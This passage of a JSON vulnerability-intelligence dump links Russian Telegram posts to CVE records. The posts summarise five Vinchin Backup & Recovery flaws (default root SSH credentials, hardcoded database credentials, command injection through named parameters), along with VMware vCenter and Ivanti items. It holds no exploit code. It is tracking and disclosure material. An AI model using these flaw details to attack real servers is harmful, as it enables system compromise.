\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c Vinchin Backup & Recovery, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e \u0438\u0442\u043e\u0433\u0430\u043c 2023 \u0432\u043e\u0448\u0435\u043b \u0432 \u0447\u0438\u0441\u043b\u043e\u00a0\u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u043c \u0440\u044b\u043d\u043a\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041d\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0440\u0430\u0441\u0442\u0443\u0449\u0443\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0438 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b, \u0440\u0435\u0448\u0435\u043d\u0438\u044f Vinchin, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e\u0447\u0438\u0435, \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u043d\u044b \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u044b\u043b \u0432\u044b\u044f\u0432\u043b\u0435\u043d \u0440\u044f\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u043e\u0442 CVE-2024-22899 \u0434\u043e CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f RCE-\u0430\u0442\u0430\u043a.\n\n\u0414\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438: CVE-2024-22902 (\u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 SSH \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e) \u0438 CVE-2024-22901 (\u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f Vinchin \u0441 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u0435\u0442 root-\u0432\u0445\u043e\u0434 \u043f\u043e SSH, \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d.\n\n\u0420\u0438\u0441\u043a\u0438 \u0441 CVE-2024-22901 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c\u00a0\u043f\u043e\u0440\u0442\u0430 MySQL, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430\u00a0\u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432\u00a0\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 CVE-2024-22900 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e setNetworkCardInfo, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0443\u044e \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0435.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437\u00a0\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 NAME \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 POST-\u0437\u0430\u043f\u0440\u043e\u0441.\n\nCVE-2024-22899 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 syncNtpTime (\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c NTP \u0432 \u0444\u0430\u0439\u043b\u0435 SystemHandler.class.php \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0415\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u0432\u043d\u0435\u0434\u0440\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u00a0ntphost \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 POST, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f\u00a0deleteUpdateAPK \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u00a0file_name \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0432\u0435\u0441\u0442\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u0438\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.", "creation_timestamp": "2024-02-05T13:40:05.000000Z"}, {"uuid": "928ebc3d-08ef-4f0a-bfd1-dbc00ce031c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22903", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/5374", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 LeakIX \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u043f\u044f\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c Vinchin Backup & Recovery, \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043f\u043e \u0438\u0442\u043e\u0433\u0430\u043c 2023 \u0432\u043e\u0448\u0435\u043b \u0432 \u0447\u0438\u0441\u043b\u043e\u00a0\u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u043c \u0440\u044b\u043d\u043a\u0435 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041d\u043e \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0440\u0430\u0441\u0442\u0443\u0449\u0443\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0438 \u043e\u0431\u0448\u0438\u0440\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b, \u0440\u0435\u0448\u0435\u043d\u0438\u044f Vinchin, \u043a\u0430\u043a \u0438 \u043f\u0440\u043e\u0447\u0438\u0435, \u043d\u0435 \u0437\u0430\u0441\u0442\u0440\u0430\u0445\u043e\u0432\u0430\u043d\u044b \u043e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u0431\u044b\u043b \u0432\u044b\u044f\u0432\u043b\u0435\u043d \u0440\u044f\u0434 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u043e\u0442 CVE-2024-22899 \u0434\u043e CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0434\u043b\u044f RCE-\u0430\u0442\u0430\u043a.\n\n\u0414\u0432\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438: CVE-2024-22902 (\u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 SSH \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e) \u0438 CVE-2024-22901 (\u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0430\u0437\u044b \u0434\u0430\u043d\u043d\u044b\u0445).\n\n\u0412 \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f Vinchin \u0441 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u0435\u0442 root-\u0432\u0445\u043e\u0434 \u043f\u043e SSH, \u043f\u0440\u0438 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0437\u0430\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d.\n\n\u0420\u0438\u0441\u043a\u0438 \u0441 CVE-2024-22901 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c\u00a0\u043f\u043e\u0440\u0442\u0430 MySQL, \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u043c\u0435\u043d\u0438 \u0445\u043e\u0441\u0442\u0430\u00a0\u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432\u00a0\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 CVE-2024-22900 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e setNetworkCardInfo, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0443\u044e \u0434\u043b\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u0430\u0440\u0442\u0435.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0447\u0435\u0440\u0435\u0437\u00a0\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 NAME \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 POST-\u0437\u0430\u043f\u0440\u043e\u0441.\n\nCVE-2024-22899 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 syncNtpTime (\u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c NTP \u0432 \u0444\u0430\u0439\u043b\u0435 SystemHandler.class.php \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u0415\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u0432\u043d\u0435\u0434\u0440\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u00a0ntphost \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0447\u0435\u0440\u0435\u0437 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441 POST, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u0424\u0443\u043d\u043a\u0446\u0438\u044f\u00a0deleteUpdateAPK \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 CVE-2024-22903, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043f\u0440\u044f\u043c\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u00a0file_name \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u0431\u0435\u0437 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u0432\u0435\u0441\u0442\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\n\n\u0412 \u043e\u0442\u0447\u0435\u0442\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u0438\u0437 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0443\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u0437\u0430\u0438\u043c\u043e\u0441\u0432\u044f\u0437\u044c \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.", "creation_timestamp": "2024-02-05T13:40:05.000000Z"}, {"uuid": "3511bfc1-c546-474c-be25-c61a79fbb3ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/RalfHackerChannel/1508", "content": "\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\n\nCVE-2024-37081: VMware vCenter Server Multiple LPE\n\nCVE-2024-22274: VMware vCenter Server RCE\n\n#exploit #pentest #redteam", "creation_timestamp": "2024-07-07T00:00:38.000000Z"}, {"uuid": "ae02139c-7c10-4f90-be33-d1d9231bb361", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22052", "type": "seen", "source": "https://t.me/true_secator/5600", "content": "\u041e\u0434\u043d\u0430\u0436\u0434\u044b CISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0443, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043f\u0440\u0435\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 Ivanti, \u0441\u0442\u043e\u0438\u043b\u043e \u043f\u0440\u0438\u0441\u043b\u0443\u0448\u0430\u0442\u044c\u0441\u044f \u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043e\u0433\u043e\u0432\u043e\u0440\u043a\u0443 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u044b \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n\u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 Ivanti \u044d\u0442\u043e\u0442 \u0446\u0438\u043a\u043b \u0441\u0442\u0440\u0435\u043c\u0438\u0442\u044c\u0441\u044f \u043a \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0441\u0442\u0438. \n\n\u041d\u043e\u0432\u044b\u0439 \u0432\u0438\u0442\u043e\u043a \u0441\u0432\u044f\u0437\u0430\u043d \u0441\u043e \u0441\u0440\u043e\u0447\u043d\u044b\u043c\u0438 